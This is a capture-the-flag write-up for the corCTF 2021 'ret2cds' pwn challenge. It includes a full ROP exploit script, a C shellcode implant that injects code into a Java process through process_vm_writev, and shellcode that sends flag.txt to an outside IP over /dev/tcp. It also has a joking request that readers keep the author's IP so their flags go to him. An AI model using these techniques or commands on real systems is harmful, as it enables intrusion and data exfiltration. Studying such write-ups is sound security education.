# <https://git.lain.faith/BLAHAJ/writeups/src/branch/writeups/2021/corctf/ret2cds>## fair warning: ctftime mangles emojis. click the link ^^^^# ret2cds
by [haskal](https://awoo.systems)
pwn / 497 pts / 6 solves
>Pwners keep joking about dropping socat and xinetd 0 days so I rewrote netcat in java. I dare you>to pop a shell on me now :^)>>https://ret2cds.be.ax/>>NOTE: Internet is enabled, please use the provided qemu image, and note that this has been tested to>work in a Debian environment for the Docker host. An Ubuntu host is known to have issues with the>official solution for the challenge. If you are on Debian, the docker deployment should work for you>if you don't want to use the qemu image (but not guaranteed).>>QEMU Image: ret2cds-qemu.qcow2.gz>>QEMU Example: qemu-system-x86_64 -enable-kvm -serial mon:stdio -hda ret2cds.qcow2 -nographic -smp 1>-m 1G -net user,hostfwd=tcp::1337-:1337 -net nic>>QEMU Username: root (no password)>>Docker: ret2cds.tar
provided files (i'm only providing the binaries here not the whole qemu image cause that is huge):[ret2cds/](https://git.lain.faith/BLAHAJ/writeups/src/branch/writeups/2021/corctf/ret2cds/challenge)
## solution
pwn time
basic analysis of the binary shows that it is using seccomp (also, there is seccomp on the dockerimage used for the challenge, but the binary's seccomp rules are much more restrictive)
here's the main function in the dragn
![main function, it's literally just a 512 byte read into a 256 byte buffer](https://git.lain.faith/BLAHAJ/writeups/raw/branch/writeups/2021/corctf/ret2cds/main.png)
yea
ok so first let's get the seccomp rules. for this i used<https://github.com/david942j/seccomp-tools> and just like, had it run the binary, (yes i probablyshouldn't be running CTF binaries on my actual machine but shush)
this produces output [https://git.lain.faith/BLAHAJ/writeups/src/branch/writeups/2021/corctf/ret2cds/analysis/ret2cds-seccomp.txt](analysis/ret2cds-seccomp.txt). well... mostthings are banned
so what isn't banned? since the docker contains its own seccomp config, we cross-reference what isallowed there with what is banned here and find 2 interesting calls which are allowed by both setsof configurations
- `process_vm_readv`- `process_vm_writev`
these are syscalls that allow reading and writing another process's memory given we have ptracepermission (in docker everything is root, and also the docker config explicitly adds the ptracecapability, so yes)
## initial pwning
ok we'll get to this later. first we need to bonk the ret2cds process. it's pretty standard justwrite the address of write in order to leak the libc base, then jump back to main, then make asecond rop chain to call mmap in libc
well this part got kind of weird, because pwntools ROP could not identify a good gadget to getcontrol of r9 which was needed to be set to 0 since it's the offset parameter for mmap (r8 garbageis OK, it gets ignored for anonymous maps by the kernel). so i turn to my trusty uber-ROP gadgetwhich is `setcontext` (it's a libc call for restoring all registers from a struct on the stack, goeswith `getcontext`). by manual analysis there is a good place to jump into `setcontext` in order toget control of r9
```asm// ( in setcontext )001581e1 4c 8b 4a 30     MOV        R9,qword ptr [RDX + 0x30]001581e5 48 8b 92        MOV        RDX,qword ptr [RDX + 0x88]         88 00 00 00001581ec 31 c0           XOR        EAX,EAX001581ee c3              RET```
for this we just need `RDX` to be loaded as a pointer to the memory we want to load from, which iseasy cause we have gadgets for `RDX`. we pass in a pointer to some random part of `rodata` such thatthe address `r9` gets loaded from ends up being `0`
here's the code so far
```pythonelf = ELF("./ret2cds")rop = ROP(elf)rop.write(1, elf.got['write'])
libc = ELF("./libc.so.6")
r = remote("ret2cds.be.ax", 38255)r.recvuntil("warden: ")
# step 1: get write to print the address of write, then go back to main (0x0040123a)r.sendline(b"A"*256 + b"AAAAAAAA" + rop.chain() + p64(0x0040123a))print(r.recvline())print(r.recvline())leak = r.recvline()[1:8]leak = u64(leak.ljust(8, b'\x00'))print(hex(leak))
libc_base = leak - libc.symbols['write']print(hex(libc_base))
libc.address = libc_base
# now, make part of the ROP for mmap with pwntoolslibc_rop = ROP(libc)# memorize these args lol, that's# - addr# - size# - 7: PROT_READ | PROT_WRITE | PROT_EXECUTE# - 0x32: MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE# - -1: no fd# - 0: no offsetlibc_rop.mmap(0x133713370000, 0x10000, 7, 0x32) #, -1, 0)# read moar shellcode into itlibc_rop.read(0, 0x133713370000, 0x10000)
# handle those pesky remaining args (well, just the last one)# see the assembly for this gadget abovefucky_r9_gadget = p64(0x581e1 + libc_base)# load rdx with a pointer to rodata (convenient source of 0x0s) offset so that r9 getspre_rop = ROP(libc)pre_rop.rdx = 0x402008 - 0x30
# send step 2 exploit, then jump to the shellcode we just mappedr.sendline(b"A"*256 + b"AAAAAAAA" + pre_rop.chain() + fucky_r9_gadget + libc_rop.chain() + p64(0x133713370000))```
now we have shellcode. but there's still seccomp.....
we can produce the final shellcode tho. it just won't work yet because execve is not allowed(neither is like, anything bash would be running here)
```pythonstage3 = asm(shellcraft.amd64.linux.execve("/bin/bash", ["/bin/bash", "-c", "touch /tmp/hax; cat flag.txt > /dev/tcp/44.44.127.10/1337"], {}))```
please note: if you are doing CTFs in the future referencing this writeup, make sure to keep the IPaddress `44.44.127.10` so that i get yr flags >:3
ok so the path should be clear: use `process_vm_writev` in order to write _more shellcode_ into_another process_
the only other process is the java netcat replacement
yikes,
the java code itself is not that interesting, and not exploitable as far as i can tell. if you'reinterested, you can take a look in [Bytecode Viewer](https://github.com/Konloch/bytecode-viewer) or[JDA](https://github.com/LLVM-but-worse/java-disassembler)[^1]
from looking at that quickly on the qemu environment, we find something interesting in`/proc/<pid>/maps` for the java process
```800000000-800002000 rwxp 00001000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa800002000-8003b9000 rw-p 00003000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa8003b9000-800a95000 r--p 003ba000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa800a95000-800a96000 rw-p 00a96000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa800a96000-8010a3000 r--p 00a97000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa```
`classes.jsa` has an `rwx` mapping at what looks like a fixed address... that's a great target forshellcode[^2]
i'm not super interested in shellcoding a call to `process_vm_writev` ... would be convenient towrite it in C, but i also don't have or want to have (legitimate or illegitimate) a binja licensefor their shellcode compiler...
## how 2 make a C implant 2021 tutorial working (no robux)
set it to 136 bpm
make a linker script. it's gonna start at the address where your `mmap` shellcode page is
```ldENTRY(_start)
MEMORY{    RAM (rwx) : ORIGIN = 0x133713370000, LENGTH = 0x10000}
SECTIONS{    .text :    {        *(.text.start)        *(.text*)    }
    .rodata :    {        *(.rodata*)    }
    .data :    {        *(.data*)    }
    .bss :    {        _bss = .;        *(.bss*)        *(COMMON)        _ebss = .;    }}```
now make a makefile (for convenience). we want to call gcc with the magic spell `-nostdlib-nodefaultlibs -nostdinc -fpic -fno-stack-protector -Os -T stage2.ld`
basically that's- don't use any stdlib or standard headers- make position independent code, skip the stack protector- optimize for size- use the given linker script
then objcopy that into a flat binary
```make.PHONY: all clean copy
CC=gccOBJCOPY=objcopy
all: implant.bin
clean:	$(RM) *.bin *.elf
implant.bin: implant.elf	$(OBJCOPY) -O binary $< $@
implant.elf: stage2.c stage2.ld	$(CC) -nostdlib -nodefaultlibs -nostdinc -T stage2.ld -fpic -fno-stack-protector \		-Os -std=gnu11 -Wall -Wextra -o $@ $<```
add some reverb, and stack the layers
here's some boilerplate C. fun fact, your entrypoint just needs to be at the beginning and it needsto wipe `.bss` then jump to main. but we also need to redefine literally everything because we optedto not have any standard headers (this is technically unnecessary, you can use the headers if youwant)
```ctypedef unsigned char uint8_t;_Static_assert(sizeof(uint8_t) == 1, "uint8_t wrong size");typedef unsigned short uint16_t;_Static_assert(sizeof(uint16_t) == 2, "uint16_t wrong size");typedef unsigned int uint32_t;_Static_assert(sizeof(uint32_t) == 4, "uint32_t wrong size");typedef unsigned long long uint64_t;_Static_assert(sizeof(uint64_t) == 8, "uint64_t wrong size");typedef unsigned int size_t;typedef int ssize_t;
#define NULL ((void*)0x0)#define pid_t unsigned long#define true 1#define false 0#define SYS_exit 1#define SYS_read 0#define SYS_write 1#define SYS_process_vm_readv 310#define SYS_process_vm_writev 311
int main();void __attribute__((noreturn)) exit(int);
void* memset(void* dst, int val, size_t size) {    for (size_t i = 0; i < size; i++) {        ((uint8_t*)dst)[i] = val;    }    return dst;}
void* memcpy(void* dst, const void* src, size_t size) {    for (size_t i = 0; i < size; i++) {        ((uint8_t*)dst)[i] = ((uint8_t*)src)[i];    }    return dst;}
extern uint8_t _bss;extern uint8_t _ebss;void __attribute__((noreturn)) __attribute__((section(".text.start"))) _start() {    // wipe .bss    memset(&_bss, 0, (&_ebss) - (&_bss));    // go to main!    exit(main());}
int main() {    // your code here!!!    while(true){}    return 120;}```
ok now that's done, write some syscall wrappers (i'm being very extra with this)
```cssize_t read(int _fd, void* _buf, size_t _len) {    register int fd asm("rdi") = _fd;    register void* buf asm("rsi") = _buf;    register size_t len asm("rdx") = _len;    register int syscall asm("rax") = SYS_read;    register ssize_t ret asm("rax");    asm volatile("syscall" : "=r"(ret) : "r"(fd), "r"(buf), "r"(len), "r"(syscall) : "memory");    return ret;}
void write(int _fd, const void* _buf, size_t _len) {    register int fd asm("rdi") = _fd;    register const void* buf asm("rsi") = _buf;    register size_t len asm("rdx") = _len;    register int syscall asm("rax") = SYS_write;    asm volatile("syscall" :: "r"(fd), "r"(buf), "r"(len), "r"(syscall) : "memory");}
void __attribute__((noreturn)) exit(int _code) {    register int code asm("rdi") = _code;    register int syscall asm("rax") = SYS_exit;    asm volatile("syscall" :: "r"(code), "r"(syscall) : "memory");    __builtin_unreachable();}
ssize_t process_vm_readv(pid_t _pid,        const struct iovec *_local_iov,        unsigned long _liovcnt,        const struct iovec *_remote_iov,        unsigned long _riovcnt,        unsigned long _flags) {    register pid_t pid asm("rdi") = _pid;    register struct iovec* local_iov asm("rsi") = _local_iov;    register unsigned long liovcnt asm("rdx") = _liovcnt;    register struct iovec* remote_iov asm("r10") = _remote_iov;    register unsigned long riovcnt asm("r8") = _riovcnt;    register unsigned long flags asm("r9") = _flags;    register int syscall asm("rax") = SYS_process_vm_readv;    register ssize_t ret asm("rax");    asm volatile("syscall" : "=r"(ret) : "r"(pid), "r"(local_iov), "r"(liovcnt),  "r"(remote_iov),            "r"(riovcnt), "r"(flags), "r"(syscall) : "memory");    return ret;}
ssize_t process_vm_writev(pid_t _pid,        const struct iovec *_local_iov,        unsigned long _liovcnt,        const struct iovec *_remote_iov,        unsigned long _riovcnt,        unsigned long _flags) {    register pid_t pid asm("rdi") = _pid;    register struct iovec* local_iov asm("rsi") = _local_iov;    register unsigned long liovcnt asm("rdx") = _liovcnt;    register struct iovec* remote_iov asm("r10") = _remote_iov;    register unsigned long riovcnt asm("r8") = _riovcnt;    register unsigned long flags asm("r9") = _flags;    register int syscall asm("rax") = SYS_process_vm_writev;    register ssize_t ret asm("rax");    asm volatile("syscall" : "=r"(ret) : "r"(pid), "r"(local_iov), "r"(liovcnt),  "r"(remote_iov),            "r"(riovcnt), "r"(flags), "r"(syscall) : "memory");    return ret;}```
ok _now_ we're ready to send the shellcode using `process_vm_writev`
## how 2 iovec 2021 tutorial working (no robux)
so if you've never seen iovecs (first of all you should try kernel pwn, you'll definitely seeiovecs,) basically it's a way to read and/or write multiple addresses in sequence with one syscall.you pass in an array of these structs
```cstruct iovec {    void  *iov_base;    /* Starting address */    size_t iov_len;     /* Number of bytes to transfer */};```
that's how `process_vm_readv` and `process_vm_writev` are working
now there's one more small detail, which is that we don't know what PID java has. luckily it's low(usually <10) so we can just spray the shellcode at every process and eventually java will be hit
```c// this is: asm(shellcraft.amd64.linux.execve("/bin/bash", ["/bin/bash", "-c", "touch /tmp/hax; cat flag.txt > /dev/tcp/35.237.4.96/1337"], {}))char* buf = "shellcode here";char buf2[0x2000];
// write to the previously determined rwx pages in the java processstruct iovec remote_vec = { (void*)0x800000000, 0x2000 };// read from a local shellcode bufstruct iovec local_vec = { &buf2[0], 0x2000 };
int main() {    print("implant is booted\n");
    // fill nop sled (0x90 is NOP)    memset(buf2, 0x90, 0x2000);    // add the shellcode at the end    memcpy(&buf2[0x2000 - 186], buf, 186);
    for (int i = 2; i < 100; i++) {        print("sending to pid:");        print_int(i);        print("\n");        ssize_t ret = process_vm_writev(i, &local_vec, 1, &remote_vec, 1, 0);        if (ret <= 0) {            print("bad ret!: ");            print_int(-ret);            print("\n");        } else {            print("GOOD RET\n");            break;        }    }    print("injection complete\n");    while(true){}    return 120;}```
finally you'll probably need to connect to the endpoint again, in order to trigger the java processto enter the rwx page and execute your shellcode
the results:```❯ python3 exploit.py[*] '.../ret2cds'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x3ff000)    RUNPATH:  b'./'[*] Loaded 14 cached gadgets for '../challenge/chall/ret2cds'0x0000:         0x40131b pop rdi; ret0x0008:              0x1 [arg0] rdi = 10x0010:         0x401319 pop rsi; pop r15; ret0x0018:         0x403fc0 [arg1] rsi = got.write0x0020:      b'iaaajaaa' <pad r15>0x0028:         0x401030 write[*] '.../libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled0x111040[+] Opening connection to ret2cds.be.ax on port 34485: Doneb'\x00\n'b"lol, you ain't escaping...\n"0x7f5b8856e0400x7f5b8845d000[*] Loaded 200 cached gadgets for '../challenge/chall/libc.so.6'0x0000:   0x7f5b8856256d pop rdx; pop rcx; pop rbx; ret0x0008:              0x7 [arg2] rdx = 70x0010:             0x32 [arg3] rcx = 500x0018:      b'gaaahaaa' <pad rbx>0x0020:   0x7f5b88484529 pop rsi; ret0x0028:          0x10000 [arg1] rsi = 655360x0030:   0x7f5b88483b72 pop rdi; ret0x0038:   0x133713370000 [arg0] rdi = 211272665006080x0040:   0x7f5b88578890 mmap0x0048:   0x7f5b885791e1 pop rdx; pop r12; ret0x0050:          0x10000 [arg2] rdx = 655360x0058:      b'waaaxaaa' <pad r12>0x0060:   0x7f5b88484529 pop rsi; ret0x0068:   0x133713370000 [arg1] rsi = 211272665006080x0070:   0x7f5b88483b72 pop rdi; ret0x0078:              0x0 [arg0] rdi = 00x0080:   0x7f5b8856dfa0 readb'm%V\x88[\x7f\x00\x00\x07\x00\x00\x00\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00gaaahaaa)EH\x88[\x7f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00r;H\x88[\x7f\x00\x00\x00\x007\x137\x13\x00\x00\x90\x88W\x88[\x7f\x00\x00\xe1\x91W\x88[\x7f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00waaaxaaa)EH\x88[\x7f\x00\x00\x00\x007\x137\x13\x00\x00r;H\x88[\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xdfV\x88[\x7f\x00\x00'make: Nothing to be done for 'all'.[*] Switching to interactive mode? Due to the recent security breaches, we have no choice but to lock you up in jail! ?And just to avoid all those socat/xinetd 0-days you and your pwn friends brag about...I rewrote netcat in Java ☕.Nothing can go wrong with a language used on over 13 billion devices ™.
\x00nter your appeal to the warden: \x00lol, you ain't escaping...\x00[*] Got EOF while reading in interactive$[*] Closed connection to ret2cds.be.ax port 34485[*] Got EOF while sending in interactive```
meanwhile on yr listening server```$ while true; do nc -vlp 1337; doneNcat: Version 7.70 ( https://nmap.org/ncat  )Ncat: Listening on :::1337Ncat: Listening on 0.0.0.0:1337Ncat: Connection from 161.35.128.177.Ncat: Connection from 161.35.128.177:43098.corctf{r0p_t0_5h3llc0d3_t0_pWn1n1g_j@v@_rwX_cDs_af179e546321dfac13370}```
(idk what the 'cds' part of the challege name is supposed to mean. return to ??)
[^1]: JDA is just a cleaned up and slightly prettified fork of Bytecode Viewer, but it's also behind      Bytecode Viewer in terms of a few features (mainly Android)
[^2]: in recent versions of openjdk, this is no longer the case (i think). sad :(        luckily this challenge is using an older version